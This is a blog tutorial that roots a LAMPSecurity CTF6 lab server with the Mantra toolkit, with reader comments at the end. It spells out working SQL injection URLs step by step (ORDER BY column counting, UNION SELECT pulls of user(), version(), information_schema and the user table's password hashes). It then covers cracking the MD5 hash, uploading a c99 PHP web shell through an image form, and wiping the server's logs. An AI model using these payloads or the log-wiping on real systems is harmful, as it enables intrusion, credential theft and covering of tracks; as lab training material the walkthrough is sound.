Hi All,
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
![[Image: mantrahackbar1.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyPFUgylq4RTX4HYJHaynxhqfsq0VQOBkjjS3Yo9j8Jep2F3MtZS4L8gDbbyisYqqTjZYoWS1s8Hq672CVHE_1bpmvGg1rm1yBUOJxf2KiZLAvUnvsoproMxq6rYsMzbaf4NBKtd-QSVyNeN12tkNY0S_W6FCehAtbrV972i_ODt96=s0-d)
Step 2:
I went through all the pages of web site and found a page with URL input
![[Image: mantrahackbar2.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vJPvNIX-PRlTg5WWM26jp5U3XYSzC4Hu2qowmKhib86BUVmthi0UdF7ayUx-Lv-c47faiI53Lj-mXO7B4bVd4IH8sbg-JuWUopXOP1eJogH4XtqDpl-8D2vZDPscHHFpkubYaxOPiIzqsa3ssHA8zyk73rmGe7s2Q6QmCu6xlItZ8avg=s0-d)
Step 3:
I launched Hackbar by pressing F9
![[Image: mantrahackbar3.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sXtWZMyHmZE4LdsLFi4-FU9oZhVFcbF2gbLAdG_YqyqrppD9c7baWpd8sfnB6ZQAGs6vrMw66QMG1gRHmCm6ScYB8nmqRB7coG5DcivJ15dcUI-H11kypmAM7UCw2wQMILG_SbzB-Tl-iehmWBr_eGpuVB6dSMzR4D17HEHwqmdhxbiA=s0-d)
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
![[Image: mantrahackbar4.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ve23ait61rymcXr0rDdYtPpbiL75frqCJu9V45AVbC6h74pegKdjFcisHihpXOczMyXYViWCseXdSCp223r2cw9rf9kWXekQpIWXmGLqDuaTLAGKPlBr0htUOBh7NJr4dWjIEAT7lnxmFBkDP0NKcU4rXtPsK33woe4Uub0JizEn4abg=s0-d)
Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
![[Image: mantrahackbar6.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tBtDPxaeM-V7h92o2e1FYHcMgQPK1ZLWWlgRZMRhh6b7FttOjHgpUer7_zAS_CB1wrWJrh-NHevZbhlMQ_AeDozmovwGnG4V-8TYvNSRqYYDWBOgJ5pf7ed0-mjFos7VJnra9WwwcPL2XpVglCdD7IZn4gyM46xY9ga2hXJ5NJ5zGFOQ=s0-d)
Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
![[Image: mantrahackbar7.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vpPXKx-OcKtQTAak1R1-T0nruZtrJ7Mjr63FeAG0j4QtJ0ydYsQ-sejGlLR0ewtYf25gR0hWbrdjMewpNBo0K1weFTOrkYUXI3K_3vy67GBQcUTLsOsOYYefbUOiY-4oFGQiXY7auHN62iC0VmthRST2apfpMnEtL0PmbSDG9ffxAH=s0-d)
Step 7:
I went up to 7 and no change till now
![[Image: mantrahackbar12.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tz2dsN5xaBQ_M2xbTBAsgDmGT2pnVczus5IH_0kP4FPdHsPeS0huibm4C5wcihKpaQHzjZ7tpxgjwMMr4pJQefCR4-mTi3-eGxM5HqpBq2HEaONhnNvBOjsb4ALzFM5jPBws8YuR4OC_CZ6eOyYHIHAxjsfO-XJIx6NkeIWHk0Sh-dAJw=s0-d)
Step 8:
I'm on 8 now and I can see the page changed
![[Image: mantrahackbar13.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vBHhy5ks5WjG6vD3LONl3bE7XEO0v7dkBRDDYqLufFQR5gCVUjywkfPkFH79FzQW_5yv0a8p9VGT9NXQuGr5FUwChjlIXRuLtT2aDtKeeFNpsOjlYNTUblsEfWS4HpyULFZr2dNGEa7PH6l7AY4zfJh9LzCiZDrltUNXc2Bv2qBYl3e8c=s0-d)
Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
![[Image: mantrahackbar14.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_s9v_QhYG8OLlJplPaam8qE0lkUBD5HiULy8u2Vlwl9lvA2jfLOpkoEZzRJPVQXsrs7ezyFHRgEDGcdn9g6eVyd891Xgyg7SK8oN6He_cNFm4p1ALZvgACgqQIzpwwRFyDdO4nEgKYv7R6CxvOL8zB9MmIgLux_I1TPZxOetc6ieT4fgmY=s0-d)
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
![[Image: mantrahackbar16.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUCRl4d4z59LieDFJ3iPS03fQedK7bKlW5k7NJanOE8Z5SU3x9oF6CfEwOIg77js1WeQVED1GAb87SSkPoTmIMLhAo7ILuctcQ8lPPOL_Fkf3tIqCJb1JcLletVldH2sG9eTgcsNrmaQNMsH_6PuO6lgaIXLuSvvCQ6stgNN4SZ9Do2FA=s0-d)
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
![[Image: mantrahackbar19.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vUPAAXrnfqdqZdccKV5bmIFo2r2T7njkZLh7zd4VlWhKG6TwB41sU0RtfI9T2M5jvCV4FeUkbZUVP2UBScG3muqQ37AQ2TN2RV2nlHUyL4f6-V2wSwIerdMTBWNKbeiiRqiPOGdCIeQ1frOBUt7o_fjByW2gXLakZbrP_yv2muEwYyXw=s0-d)
Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
![[Image: mantrahackbar21.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uIPRxid8kH-_c9y18A-3ThgvX0Q0i0s4si5UvQBwuN3AoIK11Acnhdat-8CzWV14xaIEfaoyb9h2ZKoIkBdqtjFxMOVs3SYC_XuQl1pfl3bMwOOxc1SHbYzLPNs1YxrUj9jCe4wTnfxPhgRRR5R1Uw3x5SS_mnrC7JDAUd9wuItZbaT1w=s0-d)
The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
![[Image: mantrahackbar22.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uBIpOJ1Dpl14e82dqiEQUOPpTe8tVHYRCHD4rdtCmcsS1gFaEBAkZ_fVV0fTn8w-zMrCDHuXQa8k8t9GTkbpq-899PSXLlq4uXupBiE01eiPMZjMXid4lkmMUg3v3JbJkE_ED_Z5nNieHCKJVwOCnL7FKgSBuRcd5mD88HRL7GqFGtt8A=s0-d)
5.0.45 is the version
Step 14:
Let me list all the tables
![[Image: mantrahackbar23.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sQM0PElUJZCXiNRe21pHM_2VOB2wsHz0igUVAL2X7NB0MQNMoTJwS7d2TqCgT0B7Y4Ase5HrO763qeda10ITaWaHynvfJ2Z801BLt6N6-VCkHRmnwgyW2Q8IVetDPBDDenwRZ9pxP8tBGaG4Tb215_sTnKXbZIOGOAJe-tv07h385pAw=s0-d)
From this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
![[Image: mantrahackbar24.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uta6y2ToTeanaekYX69VX7SVD0LTVO4Nza-qrw-rzYqjNNrJdyPhHfMgCkNq1DxpgJNyFHVpDpFbftI6N4G5cxq2lg7_jKbpybfMvdEMurMzIKWaz_EkGG18vD3QFccPecRImHtpqdh6KsU0QCS3YFejfKeQiYcS8pBqPK2BbmA7T3_A=s0-d)
Step 16:
I want columns from the table "user" and nothing else
![[Image: mantrahackbar25.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uLl-4NC9gE_h9WQkf63kzfVU3q4vLcfV2Jn-1k0QU9ahmrzDYabn3MLp1TQr9703vKBYnApvaFym3fE6tyEkOlsXt31itCQsTqjZeDHSwlaDNjqpRbeDE8j7_bHIK5w1tkkPMwm5NlGeB-lv3OsCetuRjd8EY3iPLyMes5kK_Is0mfMSw=s0-d)
Step 17:
Lets find the user name
![[Image: mantrahackbar27.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vGwodWJOpRfg4tPSjzy0CBLxUMsWg-8Iz5e-voGZ6asVKtD2yhMtXENPDfpzDvJA9u3cIVvTQK2uXOMy_Q8ahqEXN7JzmuegZdfPxeu5PdEaK-q0xC4IZZ3zdqG1nYFP_naUdw_d5Pp6eCqTJapBl_mTiZwJZgE9bJnTtUo5qqARI1CZo=s0-d)
Step 18:
Now, what about password
![[Image: mantrahackbar26.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sYRVg-8g4Ul7B51IQxIj-_fnoLxiXrb99fHpALsFbgnjBwHdg2rHZBPhPkuyYqFP6WVjIzSkOrSgKs3xDKhXrYbruNcrCatLM04b1LZlej7E2Hzdd0Bpfy1oFErVoQ-9JSCMZ1LpYPcnYrO21I6eA0eTeghOyb1shgvxtllG_HUjsGMJo=s0-d)
Its encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
![[Image: mantrahackbar30.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t8N2BueHKjSLgKAkVUev-Kw_L1copIJk0-YBvN7pt8Y22L9qQRBR3Iy4wCi2xekrrKw7kvOsVyrqPXMtalJzxA0Vu66UwM3lyIomNmUYkJZre8JpX5J5zxKGNY-OFhx_VubL0gk7Il_wICfCpcKhHtpTK48ST7ideQPqhWZeikxIMUQAI=s0-d)
Step 20:
Voila.!!! I got the password
![[Image: mantrahackbar31.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vxTWmU9Dfwt6qkJ3XKUAzayYk61ftg0Zbqxkp9S42susBsFhNe24GzvzXpnMY1hcSHV5QH4fA6Fy1YYKTFTi5y3FjYnanphfcLdgIAHDMUn9ReiEA9PiwvdoVjHWJEbLb9CblNPd9_ZNNIFlTxT6VtF3LF1Cc3nsWxv1vanIuTQ3UDgxE=s0-d)
Step 21:
Finding the log in page. Its was right in front of me
![[Image: mantrahackbar32.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v9CkRjNtZF1DmFr9mn-O1F61rjnbN45C2pSshx8JCQfVoBDqgDtMXL-EcgmwdmEkcuVWoIy39MZt9X6MJkvQbbqdkjjwUrCxZ50ghaa8ddfGPuCaysXoeYj54QOtokxNPNCWsMO6BRQcdZjRvBWVRIS5iRoi6WATudRekccnb5RA2GvzQ=s0-d)
Step 22:
Logging in with the credentials I have
![[Image: mantrahackbar33.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u8sy0oKGIgMNR5AkO1-hvL3LcGypHeTkY15-KssduyCtCJj0TUg8ToO4quwisSiwSU3nsYA8Gl4pNr0CTvROo2ZM50ownUEU3iPognA8m9S_gqln0Dup55rUgHg3nOGifueCpFgoKLyOV8Gy9gxEbIDKEHOqOGWdX89001_rghayNLLuI=s0-d)
Step 23:
Greetings.!!!
![[Image: mantrahackbar35.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vS3l7uoIQJws4dFj-JeUpZ1Z6Mg4M5h-_PzkaUDqco8yevP2oEQkZjxZQKpSYicVkQuEQxNhndI3kLjUfIgLr7LP4kA8jz_E4uxpuATNxPzCu6f75MKwbwrSPlkOG0JsxYneaOl2Lq-w5Zzi9S9f0NdUPHvEHl4mp_OuNsM98AajzgAoc=s0-d)
Step 24:
I'm an admin now. Look at my powers.
![[Image: mantrahackbar36.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uKPWJFWZBay5CIijXFvPy9OHcREWh5N-bgQt6vjdgpORAl5GibYb36Dr0u1kMTbfSMO0PhSO1ZVkyH4geD6F-1wiGRqBc4kTym9LGAw50K5cZhB_mHSnmB8-OCbBO9iTV7eqmjUx3hnHNzIpFHSxr2X5NzYz6rZmpG3LKX273KGawp_Xk=s0-d)
Step 25:
Let me add an event
![[Image: mantrahackbar37.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tdikWvcXF_t5hxzJZn1ZCWsH-cEAVKGhNdEa00stnWQQICWRKprSEd8qqUt6cnzYaINUi5m-HhIN08_6ASBdcNwlF1pS8n92nm3AagHW3W8HXv8N9S5XUQc5oU6b1Yd3MyLdpCt0kgFAOzAoNFmaX926SAVhoAHTQ48F9M_iCNSo-TfA=s0-d)
Step 26:
and of course I want to upload a picture
![[Image: mantrahackbar38.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tIewMzjcDSbSfuGulj3T1f0eCqgNZ3H8stEeeUsq7QrtLG7-hPp-baJxVhhq3-YKstvdExNLyGC0OHEs4rOBU8jIrkdrC2c7ONlUAHr0HxgObMwCihazH9ew0yBX_rt_Q9k_mWEzPFjCbCTuDZGMDLcFwYGckp36G_7wIIjVBpuqLMkg=s0-d)
Step 27:
Lets see it allows me to upload the shell or not
![[Image: mantrahackbar39.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tQSDyT_4TkBMSQRK3-9aesre128zwapoLjG92tytSPg3uo0ZOwqL5J7KcHNiQtJPvlrv8RpofzTwsUBOgEJtPnpG8OipWVGfRI2-kW-nGZ5fWTJw1nk-5rYU-mgERnk8hcA97BCY5-XJFcGe1LWqnlh2jpd0unWNVGHvcrTyVom20QJsc=s0-d)
Step 28:
Now I'm pressing on "Add Event" button
![[Image: mantrahackbar40.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vc2NAoc45wGMh76GfXLgHpHuinl-erX_ykytyWUTJbptaihPwVT08kWr8sq35c6iVJ-k0J3SmnV_ftcXIepFICQlvzMHa5w3svIk-TrAvXZJnlisdqSTKDpw29bMPSpgSrK0nlCjiXl-HlZEH4wCxOuvbA2lo92fwQXfDy_N39cmgH4Ds=s0-d)
Step 29:
Nice. Looks like it's got uploaded
![[Image: mantrahackbar41.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_t4RV2PF5aajbE0LRBiP8Zhm1FVKnTmRDG-JtsyAhxADKaA0F_xL8hVHclbDaYrWUKNWVCgB8Q9-WlB9Hg4dSaORGBd_lr0kk5WNgvZcFjgdhsk8KC4yde4kAPvNaQhy6D6mz3TDSeLzpyp_m6aQBUokbMcUTU5EPCZ618nXrcR9Znm8g=s0-d)
Step 30:
Let's see where the shell got uploaded to
![[Image: mantrahackbar42.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_skGe-tQS3FNfpQg_yeAiGj5Q0YAr4I16hcYr_MvPyEhFI6pWEeaj17-Se1bBp8fn6gQj34q4ipiHuMC39k4LVvfzaovn6X6rW2xh6yN-dwyP-7axP0YOEhCnemlP7CB-YGe3-QM-bIotUSuKMdWdzvd3dB6RJtUeRVj1ewmGsfBySZED4=s0-d)
Step 31:
I'm trying to get the default upload location
![[Image: mantrahackbar43.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ubCQ1PcxECGX3u_K6pqjOHY29wURD_7-r05TTbeugQRewBbazDoYZP0SgHUvmEiJQUQ5yYcX1breLcQi8JuavebT5TOMfVm257rPeSIN0dDsYdNIdq_Wz4CHO7cQfrtPrfzDXXreGigGYjtlLHBpBEpDwBrgk_48RlCoxrJyCaV7D7xOE=s0-d)
![[Image: mantrahackbar44.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uYf_VoflB9qDjopXLiKfVxqrBscyNFG02qX8SEb2OkEFU0dY8WWKJFeL66YyoZI8FK-y_lIoxETTmO0XQv3bfbhWz7R4rjXKHPw4UyimAUeHAWzv5ZYA78U_cJsYV4XMpN2VbbM4zSi9KzUM1k7K063X4OPEsNaS1XcF1O87wTfYm1iDw=s0-d)
Step 32:
Looks like I got it
![[Image: mantrahackbar45.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vHuYlCpEouwDEkCZkWRlEiMpNgMZx8pSNiOsG9u7ziQNNMgddJT5MP7WNj2nqbdzzSB94Sq9vrh1_TnKfc19P_UXTPIhEhecqNAXFotmfuc13i8b9xK_BXNW0rHQdCaFQApBjbOGCwDpa_OU_OcNqkHOEM1rRE2oMqhgjbHq51t3RGEo8=s0-d)
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
![[Image: mantrahackbar46.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vdOlhqq43XEZdYriXwqUlKD-OGM55OXmrq_io-YBwD2_Mie_fwMVS-jMkBtatlR5Wmox5i-qYNrfXhcI4N21R_fRau3hXmkVhhsgAO66EFo1wc2z5geBfEtnzFqpjOJIbKDoaafTQe-WEzbt0JLA7QCJJDds6bpGdCbiTMms5TIm05SaM=s0-d)
Step 34:
I simply clicked on the up button to get the root folder
![[Image: mantrahackbar48.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_seyFTL7c0Lo6_-MmJPbXmqKq75L4n35w-oQ2zAOMmoufm_W8fFk3WbieNkhNf0dzI-WKuiYKQ-IWPemPIXubjiFoojjysCWXA6mNeYl1NlklM2-zR_Ejq7zMFIwjMYy95jtIZKKRE2A2Z7KPckaITd01jFIW4fGhc6Ta_Lc05HuQhP970=s0-d)
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
![[Image: mantrahackbar49.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vwHqlw1uWMPrI1yBw5JhV65E4YyzJAJnX6WDOM_yw9yTxT5kvBVeQpSlvs4peQDKBtrcs1j87G14qm8KBi7ItfIRJws0tqdCsDLVO11xiyfvmV2k2dPY_t_0MjC4VCufzRowDR7Q0VNKy85Bci0Mz1L8qoJzRrcoD2JQfswKmcLWmV7zs=s0-d)
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
![[Image: mantrahackbar51.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_uvFT9iP7X11hFnLV5GgA3TySN5uFLXJ3TqY714ipZ4MU6uudEEFa1e_4hVoVzZvpWGg-A92hbt9_lgsC1mdzJ61FQrwwqg2qiR6Ai71xmGuIbs9laVsz99rPXz_orUqn2xWpSQ8M31QTUSWrSymo3aWAqOhUzURO-H1hRHlfVdSDPNaA=s0-d)
Step 37:
Let me go back and edit the log file
![[Image: mantrahackbar52.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_vyAZDadipnfz9nR_MEKu818PQJUjwHiuY5vEM_ByckotUYAvIbV8MODQsYfA9A1a_A-px0CptvDX_KARyRQz_nXVpHckyehPkdtHzAtyYvg2_taF-4UAedBYFYQLXpLhLjN-EvsWQEANkd62UUluC-PxlVrrW9RWaQxyQiY2_rmuylD1Y=s0-d)
![[Image: mantrahackbar53.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_v5UMZduHpYNphrxgs6v_1oW4f2dOxiEVqwtbX9GsGgAsLmxk3U8hrjff9kKCLlsqTwlOkmi7HVZIEMdtUYugwKcPbLpqAa_TBaZP8aZfeshNMjybrQWF6iRZ3i2W_5fgmoWrNs8SHROxBX94siqdN25r0Psbz2A8VPqWKdR4BKE7u8qQ=s0-d)
Step 38:
I deleted complete log entries. Now saving it.
![[Image: mantrahackbar54.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sj9kpm7ouC9-BeM1Lzr0ow3wYNFKBtIch3eWBZq2jqMU1lCjUBa09Y7lBBQtvSWr8PnDmNP5ZoqJb8BTTX-O49-Z9NXVKE9MOvjtq89MP_bEQK_u1CSGei2gPADbeAHisaa51asQ8mSiX7jmK0hIBwtN0UA5A1iUVEWcd-1l157wYxWtQ=s0-d)
Step 39:
Nice. Log file is empty now
![[Image: mantrahackbar56.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_u1sqNHKTR0swwQlRaxdKp0MKhS1ExCWs-pyz5YCUxsObgLHOgIyAfdIJ2J0TzlcIc5LgmNlUIxdr9_HjVzbM1fgXXKYPk5L-n8YDWPWweCXIO1gPFMiN11D_Y15Sr6jlKIbAlYmOYuxq7BQE9RePfyevaKexnPn7eN3F0AZ7Ot0wuF5mA=s0-d)
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
![[Image: mantrahackbar57.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_sfoLI8JuDRd1aVz61KKs-uRA1LE1ueoRGF0OGJ6SKs4yCQ6RR_GEi6if8QlQwU7LQLgP2IJjsfKJ-JlkHKe2VDLotvk1EN1YKdoHWKN-IBrOT256l8ikBT7czVeSk_y67_TnptOSh16lWwEt2pMasZcJ57jSyOrII16SkVFvzl7jzRpac=s0-d)
Step 41:
Confirmed.!!!
![[Image: mantrahackbar58.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_ugAIDjkhMCAq6rktz0pmipzOACkk4SxWDmCBphVfg8Hpw5EtaCPe66YrLtIOkZkjWqTFJQPZPBtsmJ61PX66Qtq6UuiPIRUiWFDuldL_VxjZYqL4w7jBlx78lFqp3QH-UMw99mDUzjgxymOvxTEAQqMdmgoIuVscZnYiRsQQOpdz9g948=s0-d)
Step 42:
OK. Good Bye C99
![[Image: mantrahackbar59.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_tnnfIxiY5GGaRQZUQVi14BI8nLNsttDuhneyry5lHP-KF8tvkUl11wzU-w0NGK7Ic8YrFFn-7hSyQKIwGJXgQUXXvtB6en-kLVfWm02_1cBbFtaP3I8sHILKK33xrg8buKh9zBj_6Q6KGh1qiciPj2uA8_B3I_OpsGY_XcMuPJ1kLE4g=s0-d)
Step 43:
Well. It got deleted itself
![[Image: mantrahackbar60.jpg]](https://lh3.googleusercontent.com/blogger_img_proxy/AEn0k_toppoww-6LfXmbUa0wPgzPb0Bwm_YHGcU6NX6ZazgcmiJbhaAtNwdfdKKv5ui4RLdSXi8x7LXleoiupsplOVVpbsFuN156ArP6tqvp_D_JuxkVL3s3cRSQo-SDeZMYaV3RyZDPd55PxbmGaNwLcG73DwECJGtGZWnE0X_Yb--Vgq8Yops=s0-d)
In this tutorial we will be rooting a vulnerable web server using Mantra Security Toolkit.
What all you need
1. Mantra Security Toolkit - Download
2. A vulnerable website. I'm using a modified version of LAMPSecurity CTF6
3. Any PHP Shell you are comfortable with
- Google for "c99 shell"
Now the process
Step 1:
I'm on the home page of the website now
http://192.168.132.128/
Step 2:
I went through all the pages of web site and found a page with URL input
http://192.168.132.128/?id=13
Step 3:
I launched Hackbar by pressing F9
Step 4:
The power of single quote. I'm checking the web site is vulnerable or not by putting a ' at the end of the URL and pressing Execute.
http://192.168.132.128/?id=13'Since the page content is different from the previous one. I can make sure that the web page is vulnerable.
Step 5:
Lets find out the number of tables
http://192.168.132.128/?id=13 order by 1Step 6:
I have to keep on increasing the last number till I see any changes in the page. In usual practice its gonna be a tedious task since there will be hundreds and thousands of tables if not more. But with this tool I can simply press on + button till I see any changes on the webpage
http://192.168.132.128/?id=13 order by 7Step 7:
I went up to 7 and no change till now
http://192.168.132.128/?id=13 order by 7Step 8:
I'm on 8 now and I can see the page changed
http://192.168.132.128/?id=13 order by 8Step 9:
Now lets go ahead and make a UNION statement. I just went to SQL > UNION SELECT STATEMENT
Step 10:
I provided the number of tables. Since I got a different page on table 8, I can make sure that table 8 does not exists and there are only 7 tables
Step 11:
Wonderful. I can see some numbers on the page now. Those are the vulnerable columns. Lets take the number 2
http://192.168.132.128/?id=13 UNION SELECT 1,2,3,4,5,6,7Step 12:
I replaced number 2 in URL with another SQL command, it got executed and result is displayed on the page
http://192.168.132.128/?id=13 UNION SELECT 1,user(),3,4,5,6,7The current user is cms_user@localhost
Step 13:
Lets find out the version of the database. I replaced 2 in the URL with version() command
http://192.168.132.128/?id=13 UNION SELECT 1,version(),3,4,5,6,75.0.45 is the version
Step 14:
Let me list all the tables
http://192.168.132.128/?id=13 UNION SELECT 1,table_name,3,4,5,6,7 from information_schema.tablesFrom this list I found "user" is an interesting table
Step 15:
Now I listed all the columns and its a big list
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columnsStep 16:
I want columns from the table "user" and nothing else
http://192.168.132.128/?id=13 UNION SELECT 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='user'Step 17:
Lets find the user name
http://192.168.132.128/?id=13 UNION SELECT 1,user_username,3,4,5,6,7 from userStep 18:
Now, what about password
http://192.168.132.128/?id=13 UNION SELECT 1,user_password,3,4,5,6,7 from userIts encrypted
Step 19:
Decrypting the password. I copied the MD5 hash, pasted it into hackbar and went to Encryption > MD5 Menu > send to > md5.rednoize.com
Step 20:
Voila.!!! I got the password
Step 21:
Finding the log in page. Its was right in front of me
Step 22:
Logging in with the credentials I have
Step 23:
Greetings.!!!
Step 24:
I'm an admin now. Look at my powers.
Step 25:
Let me add an event
Step 26:
and of course I want to upload a picture
Step 27:
Lets see it allows me to upload the shell or not
Step 28:
Now I'm pressing on "Add Event" button
Step 29:
Nice. Looks like it's got uploaded
Step 30:
Let's see where the shell got uploaded to
Step 31:
I'm trying to get the default upload location
Step 32:
Looks like I got it
Let me click on the c9shell.php file I just uploaded
Step 33:
Voila. I have shell access
Step 34:
I simply clicked on the up button to get the root folder
Now I can do whatever I wish. Deface the website, maintaining access or what ever. But its out of the scope of current tutorial
Step 35:
What I'm interested is the log folder
Step 36:
I clicked on the log.log file and it has the logs of my noisy SQL injection attacks
Step 37:
Let me go back and edit the log file
Step 38:
I deleted complete log entries. Now saving it.
Step 39:
Nice. Log file is empty now
Step 40:
Now. Lets remove the c99 shell by pressing on Self Remove
Step 41:
Confirmed.!!!
Step 42:
OK. Good Bye C99
Step 43:
Well. It got deleted itself
H4qqy H4ck!ng
This comment has been removed by a blog administrator.
ReplyDeleteHmmmok Nice share
ReplyDelete